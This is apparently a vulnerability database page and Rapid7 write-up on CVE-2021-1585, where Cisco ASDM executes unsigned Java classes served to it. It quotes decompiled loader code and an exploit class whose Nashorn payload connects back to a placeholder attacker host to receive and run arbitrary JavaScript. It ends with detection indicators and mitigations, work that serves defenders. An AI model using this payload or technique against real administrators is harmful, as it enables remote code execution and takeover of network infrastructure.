Attacker Value
Very High
(1 user assessed)
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: July 07, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access


A vulnerability in the Cisco Adaptive Security Device Manager (ASDM) Launcher could allow an unauthenticated, remote attacker to execute arbitrary code on a user’s operating system. This vulnerability is due to a lack of proper signature verification for specific code exchanged between the ASDM and the Launcher. An attacker could exploit this vulnerability by leveraging a man-in-the-middle position on the network to intercept the traffic between the Launcher and the ASDM and then inject arbitrary code. A successful exploit could allow the attacker to execute arbitrary code on the user’s operating system with the level of privileges assigned to the ASDM Launcher. A successful exploit may require the attacker to perform a social engineering attack to persuade the user to initiate communication from the Launcher to the ASDM.

Add Assessment

Technical Analysis

CVE-2021-1585 is an unpatched vulnerability that allows a man-in-the-middle or evil endpoint execute code on the victim’s system. See the Rapid7 analysis for additional details.

CVSS V3 Severity and Metrics
Base Score:
8.1 High
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information


  • cisco


  • adaptive security device manager
Technical Analysis

CVE-2021-1585 is a vulnerability in Cisco ASDM, a thick client for managing and monitoring Cisco ASA, ASAv, ASAm, FirePower, and ISA routers, VPNSs, and firewalls. The vulnerability was disclosed in the summer of 2021 and according to Cisco affected versions 7.16 (1.150) and earlier. It remains unpatched in the most recent version of ASDM 7.17(1).

Rapid7 independently found this vulnerability before discovering Malcolm Lashley also found it and published a proof of concept. However, we thought it was alarming enough, considering it’s unpatched, that we wanted to share our findings as well. Although CVE-2021-1585 requires some amount of user interaction (the victim attempting to log in to the remote system), the vulnerabilities is still very valuable to the right kind of attacker.


Conducting research on this software was of interest to us due to its criticality in a network. Cisco ASA and the like are beefy enterprise systems and the monitoring and maintenance of such systems is crucial. There’s also historical precedence for APTs attacking administrators via router management software (see Slingshot APT’s abuse of Mikrotik’s Winbox tool), so research entire this vector is valuable.

Technical analysis

CVE-2021-1585 is the result of two separate issues. First, ASDM doesn’t validate the remote target’s SSL certificate. It doesn’t give any type of warning whatsoever that something may be amiss. That means anyone who can man-in-the-middle the ASDM’s connection to the ASA can see (or control) the plaintext communication. The image below shows mitmproxy intercepting and decrypting an ASDM request to the ASA, which includes the username and password in the Authorization field.


Secondly, and more interesting perhaps, during the initial connection with the router, ASDM loads “pdm.sgz” from the remote host. While the format appears “proprietary”, it didn’t take too much effort to unpack it and find that it was full of Java class files (among other resources). ASDM loads and executes these classes even when a signature cannot verify their contents.

These two issues combined allow a man in the middle, or an attacker who has tricked an administrator to point the ASDM at an evil endpoint, to execute arbitrary Java on the ASDM host.

Our reading of the ASDM launcher’s code indicates that the failure to block malicious Java was an intentional decision. It all starts with jploader.jar:SgzReader.class, the class that unpacks the .sgz file from the server into loadable class files. This particular function stores the .class for later user:

private final synchronized void storeEntry(String paramString, JarEntry paramJarEntry) {
    if (paramString.equals("SIGNATURE")) {
        if (Verifier.init(paramJarEntry._data)) {
            this._hasSignature = true;
            if (Loader._Verbose)
                this._ctx.println("SgzReader: SGZ is signed");
    } else {
        if (this._hasSignature) {
            paramJarEntry._isSigned = Verifier.verify(paramJarEntry._data);
            if (Loader._Verbose && !paramJarEntry._isSigned)
                this._ctx.println("SgzReader: signing failed for " + paramString);
        if (this._entryTab.get(paramString) != null)
        this._entryTab.put(paramString, paramJarEntry);
        if (this._awaitingNameSet.contains(paramString))

In the above function, ASDM first checks to see if it has loaded the SIGNATURE file (if (this._hasSignature)). If so, it attempts to verify the contents of the .class using an embedded public key (Verified.verify). However, if verification fails or the SIGNATURE file is not present, the .class file still gets saved (this._entryTabe.put), allowing other parts of the program to load it via retrieveEntry:

JarEntry retrieveEntry(String paramString) {
    JarEntry jarEntry = retrieveEntry0(paramString);
    if (jarEntry == null) {
        if (Loader._Verbose)
            this._ctx.println("SgzReader: no such entry " + paramString);
    } else if (!jarEntry._isSigned) {
        System.out.println("SgzReader: unsigned entry " + paramString);
    return jarEntry;

retrieveEntry is aware that the retrieved .class is unsigned but passes it up to the caller anyways. The function that loads the .class is also aware (JPClassLoader.class:loadClass):

JarEntry jarEntry = this._sgzReader.retrieveEntry(str);
arrayOfByte = jarEntry.getBytes();
clazz = defineClass(paramString, arrayOfByte, 0, arrayOfByte.length, jarEntry._isSigned ? this._signedPD : this._unsignedPD);
if (paramBoolean)

loadClass does use a different ProtectionDomain depending on the signed vs. unsigned status, but it’ll still load the malicious code regardless. Furthermore, the ProtectionDomain only seems to affect the ASDM if ASDM was launched via web start (which is also vulnerable to injection via jnlp, avoiding the ProtectionDomain issue entirely).

Cisco did the right thing by providing a secure mechanism to verify the contents of the .sgz file. But they also choose to load and execute the embedded .class files that failed that security mechanism.


We have written an exploit for this vulnerability. Here you can see it in action:

Developing an exploit for the “victim connects to a malicious server” use case is quite simple. We only need two things:

  • An HTTPS server
  • Malicious java classes repackaged into an .sgz

The exploit uses a simple python script to serve three files:

  1. /admin/login_banner: an empty file and the first file ASDM will request.
  2. /admin/version.prop: the second file ASDM requests containing version information about the ASDM on the server.
  3. /admin/pdm.sgz: the last file the server will server. It’s generated at runtime by the exploit.

The pdm.sgz used by the exploit only contains one file: PDMApplet.class. This is the first class file that ASDM will try to execute. A more subtle exploit would hijack a class further down the line, for example, in the logging functionality, but for a proof of concept this is fine.

The looks like this:


import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import jdk.nashorn.api.scripting.ClassFilter;
import jdk.nashorn.api.scripting.NashornScriptEngineFactory;

public final class PDMApplet extends SgzApplet {

  private static PDMApplet b;
  public void init() {
  public void start(String[] paramArrayOfString) {
    String sunshine_js =
    "var sock = new\"!!!LHOST!!!\", !!!LPORT!!!);" +
    "if (sock.isConnected())" +
    "{" +
        "var input = new;" +
        "var output = new;" +
        "var engine = new javax.script.ScriptEngineManager().getEngineByName(\"Nashorn\");" +
        "while (sock.isConnected()) {" +
            "var payload = input.readLine();" +
            "engine.compile(payload).eval();"  +
            "output.write(engine.invokeFunction(\"exec\"));" +
            "output.flush();" +
        "}" +

    ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
    catch (Exception e)

The exploit code was inserted into the start method. Because ASDM requires Java 1.8.x, the Nashorn scripting engine is available. In the above, the payload creates the Nashorn engine and then executes Javascript from the Longtime Sunshine c2. The Javascript will connect back, load arbitrary Javascript at request, and execute it ad nauseum—a nice way to keep exploitation in memory.

When ASDM loads the the pdm.sgz it will unpack it, load PDMApplet.class, and invoke start, thereby executing our Nashorn code and connecting back to our c2 server.

Indicators of compromise

Unless you are inspecting SSL certificates being used, it’s very difficult to tell if you are being man-in-the-middled when the victim application gives no warning. A malicious actor could reasonably be sniffing the traffic (grabbing credentials, the enable password, and configuration details) and the victim would have a very difficult time realizing it.

An attacker that exploits the victim for code execution is a different story. There are two files a defender can look at. First, the asdm-idm-log-<date>.txt file in .asdm\log will clearly state that it is loading unsigned data. Example:

SgzReader: unsigned entry com/cisco/pdm/PDMApplet.class

Under normal use, unsigned entries shouldn’t appear.

Second, although more complicated, is the cache file. The .sgz file is fairly large so ASDM caches them to disk when it can. The first 16 bytes of the .sgz is a “fingerprint” and if the server provides an .sgz with a fingerprint that is already in the cache, then ASDM will load it from disk. That also means that the malicious .sgz will get written to disk as well. This means a defender could examine them post-exploitation to find the malicious one (assuming they weren’t deleted). Notably, they are in an unusual format, which presents a challenge. Still, a difference in file size might be a good indicator. Below you can see two files, the very small one is the malicious .sgz from this write up and the big one is a valid 7.14(1)

 Volume in drive C has no label.
 Volume Serial Number is 0202-164C

 Directory of C:\Users\lowlevel\.asdm\cache

02/11/2022  10:35 AM    <DIR>          .
02/11/2022  10:35 AM    <DIR>          ..
02/11/2022  10:13 AM               748 205dd9b9a17ccf9bcdf762f6bb0f0fe4.sgz
02/11/2022  10:35 AM        34,130,610 cc428b3aff2d4368274ca4fe8e5f4972.sgz
               2 File(s)     34,131,358 bytes
               2 Dir(s)  17,902,702,592 bytes free



In the absence of a fix, defenders should consider not using ASDM. Even if you just use the software in a relatively secure network, there is still a chance that there is an untrustworthy hop somewhere between you and the router. An attacker who is able to control your routers is an attacker that has control of your network. Until a patch is forthcoming, it’s best to administrate the routers via SSH or serial console. Watch Cisco’s advisory for any future updates.